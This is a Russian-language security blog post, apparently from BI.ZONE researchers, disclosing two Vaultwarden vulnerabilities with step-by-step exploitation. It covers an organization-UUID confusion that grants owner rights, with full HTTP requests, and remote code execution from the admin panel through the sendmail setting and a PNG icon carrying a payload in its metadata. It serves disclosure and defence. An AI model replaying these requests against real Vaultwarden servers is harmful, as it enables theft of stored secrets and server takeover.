Как стать автором
Обновить
138.49

Анализ уязвимостей в Vaultwarden: CVE-2025-24364 и CVE-2025-24365

Уровень сложностиСредний
Время на прочтение6 мин
Количество просмотров1.1K

По данным BI.ZONE TDR, в 2025 году Vaultwarden использует каждая десятая российская компания.

Как и любое хранилище секретов, Vaultwarden — критически важный сервис, требующий повышенного внимания безопасников. Его компрометация влечет множество рисков. Поскольку секреты от других внутренних сервисов хранятся в Vaultwarden, при его взломе атакующий узнает и их. А если продукт автоматически получает секреты с помощью API, злоумышленник попадет на хост с обширной сетевой связностью.

Поэтому наша группа исследования уязвимостей проанализировала Vaultwarden. В результате мы обнаружили две уязвимости высокого уровня опасности: CVE-2025-24364 и CVE-2025-24365.

Escalation of privilege via variable confusion in OrgHeaders trait (CVE-2025-24365)

В первую очередь мы обратили внимание на механизм проверки прав. Наше внимание привлекло то, как проверяются права на секреты, созданные в рамках организации.

Большая часть эндпоинтов, связанных c организациями, получает UUID организации из пути запроса, однако есть и эндпоинты, которые получают UUID через параметр GET. Важно отметить, что внутри логики эндпоинтов нет логики проверки прав в организации. За это отвечает отдельная функция, которая в терминологии HTTP-фреймворка Rocket называется Request Guard. По сути, главное назначение Request Guard — получить данные из HTTP-запроса и провести их валидацию.

Код Request Guard для структуры OrgHeaders
Код Request Guard для структуры OrgHeaders
Структура OrgHeaders
Структура OrgHeaders

Request Guard получает UUID организации и проверяет, является ли пользователь ее частью, после чего устанавливает необходимые права.

Однако нам интересно, как именно эта функциональность получает UUID организации. Сниппет кода с такой логикой показан ниже.

Логика получения UUID организации в рамках Request Guard
Логика получения UUID организации в рамках Request Guard

Можно заметить, что сервер пытается получить UUID из пути запроса и параметра GET, как было отмечено ранее.

А что, если мы укажем UUID и в пути, и в параметре GET? В таком случае сервер получит UUID организации из пути, однако сразу же перезапишет его на UUID из параметра GET. Информацию о UUID организации структура OrgHeaders не содержит, поэтому в эндпоинтах, связанных с организациями, она реализована отдельно.

В этом и заключается уязвимость: у злоумышленника появляется возможность взаимодействовать с организацией, имея права совершенно другой.

Пример эксплуатации

В качестве примера эксплуатации получим права администратора в организации, где мы обычный пользователь.

Наш пользователь attacker@gmail.com имеет пользовательские права в организации org1.

Список пользователей организации org1
Список пользователей организации org1

Для эксплуатации нам потребуется организация, где у нас есть полные права. Для этого создаем организацию my_own_org.

Список организаций, доступных пользователю attacker@gmail.com
Список организаций, доступных пользователю attacker@gmail.com

Теперь меняем наши права в организации org1, используя уязвимость. Сначала узнаём список пользователей при помощи следующего запроса:

GET /api/organizations/<ORG1_UUID>/users?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9

Здесь <ORG1_UUID> — UUID организации org1, <MY_OWN_ORG_UUID> — UUID организации my_own_org.

Сервер в ответе выдает информацию обо всех пользователях в организации:

{
  "data": [
 
    ...
 
    {
      "accessAll": false,
      "accessSecretsManager": false,
      "avatarColor": null,
      "collections": [],
      "email": "attacker@gmail.com",
      "externalId": null,
      "groups": [],
      "hasMasterPassword": false,
      "id": <ENROLLMENT_UUID>,
      "name": null,
      "object": "organizationUserUserDetails",
      "permissions": {
        "accessEventLogs": false,
        "accessImportExport": false,
        "accessReports": false,
        "createNewCollections": false,
        "deleteAnyCollection": false,
        "deleteAssignedCollections": false,
        "editAnyCollection": false,
        "editAssignedCollections": false,
        "manageGroups": false,
        "managePolicies": false,
        "manageResetPassword": false,
        "manageScim": false,
        "manageSso": false,
        "manageUsers": false
      },
      "resetPasswordEnrolled": false,
      "ssoBound": false,
      "status": 2,
      "twoFactorEnabled": false,
      "type": 2,
      "userId": <USER_UUID>,
      "usesKeyConnector": false
    }
  ],
  "object": "list",
  "continuationToken": null
}

Здесь <ENROLLMENT_UUID> — UUID участника организации, <USER_UUID> — UUID пользователя.

Используя <ENROLLMENT_UUID> из предыдущего запроса, даем полные права нашему пользователю в организации org1:

PUT /api/organizations/<ORG1_UUID>/users/<ENROLLMENT_UUID>/?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
 
{
  "collections": [],
  "groups": [],
  "accessAll": true,
  "permissions": {
    "response": null
  },
  "type": 0,
  "accessSecretsManager": true
}

В результате получаем полные права в организации, где были обычным пользователем.

Список пользователей организации org1, пользователь Attacker имеет роль owner
Список пользователей организации org1, пользователь Attacker имеет роль owner

Краткое описание эксплуатации:

  1. Злоумышленник имеет доступ к организации А, но у него ограниченные права.

  2. Создает организацию Б, где по умолчанию становится администратором.

  3. Отправляет запрос на эндпоинты, при этом указывая в пути UUID организации A, а в GET-параметре — UUID организации Б.

  4. Получает права администратора в организации А.

RCE in the admin panel (CVE-2025-24364)

Помимо механизма проверки прав, нас заинтересовала панель администратора Vaultwarden.

Интерфейс панели администратора
Интерфейс панели администратора

В первую очередь мы обратили внимание на возможность использовать sendmail в качестве клиента SMTP, а также выбрать команду, при помощи которой будут отправляться письма. В качестве команды мы выбрали /bin/sh для исполнения произвольного кода.

Однако не все так просто: для успешной эксплуатации в файловой системе требуется SH-файл с нашей нагрузкой. Поэтому в панели администратора меняем путь к директории с иконками сайтов. Для этого используем следующий запрос:

POST /admin/config HTTP/1.1  
Host: vaultwarden_host  
Content-Type: application/json  
Cookie: VW_ADMIN=<admin_session>
 
{
    ...
    "icon_cache_folder": "/@icon"
}

После изменения директории Vaultwarden автоматически создает ее по пути /@icon. Это название обусловлено тем, что для успешной эксплуатации требуется соответствие пути к файлу правилам регулярного выражения email, ведь при отправке через sendmail в аргументе указывается почта.

Теперь приступаем к созданию иконки, внутри которой будет зашита нагрузка. Для этого берем любой PNG-файл и добавляем в его метаданные нашу нагрузку.

Добавление нагрузки
Добавление нагрузки

После исполнения нагрузки файл появляется в файловой системе по пути /win. Таким же образом можно исполнить абсолютно любой код.

Следующим шагом размещаем изображение на своем сервере так, чтобы оно возвращалось при GET-запросе /apple-touch-icon.png.

Затем заставляем Vaultwarden сохранить картинку у себя. Для этого нужно сделать GET-запрос /icons/site.com/icon.png, где site.com — это наш сайт.

Сервер сохраняет картинку в /@icon/site.com.png.

Листинг директории /@icon
Листинг директории /@icon

После этого мы настраиваем панель администратора, как показано ниже.

Панель администратора
Панель администратора

Можно заметить, что в колонке from_address мы указали абсолютный путь к сохраненному изображению.

Подготовительный этап закончен, можем запускать! Для этого нужно всего лишь отправить следующий запрос:

POST /admin/test/smtp HTTP/1.1  
Host: vaultwarden_host  
Content-Type: application/json  
Cookie: VW_ADMIN=<admin_session>
 
{
    "email": "test@test.com"
}

После выполнения этого запроса сервер запускает /bin/sh, а в качестве аргумента указывает /@icon/site.com.png, тем самым выполняя нашу полезную нагрузку.

В файловой системе появляется файл /win, что доказывает успешность эксплуатации.

Содержимое файла /win
Содержимое файла /win

Краткое описание эксплуатации:

  1. Атакующий имеет доступ к панели администратора.

  2. Меняет директорию, куда сохраняются иконки сайтов, на /@icon.

  3. Меняет настройки SMTP, чтобы использовать для отправки сообщений исполняемый файл /bin/sh и заменить исходящий адрес на /@icon/site.com.png.

  4. Размещает на site.com/apple-touch-icon.png изображение с вшитой в метаданные нагрузкой и заставляет Vaultwarden его закешировать.

  5. Отправляет тестовое сообщение и получает произвольное исполнение кода.

Заключение

Несмотря на ранее проведенный security-аудит кода Vaultwarden, сервис все равно имеет уязвимости.

Мы рекомендуем отключать функциональность, которую вы не используете, чтобы снизить поверхность атаки и вероятность компрометации вашего хранилища секретов.

Автор

Елизар Батин, старший специалист по исследованию уязвимостей

Теги:
Хабы:
+5
Комментарии0

Публикации

Информация

Сайт
bi.zone
Дата регистрации
Численность
501–1 000 человек
Местоположение
Россия

Истории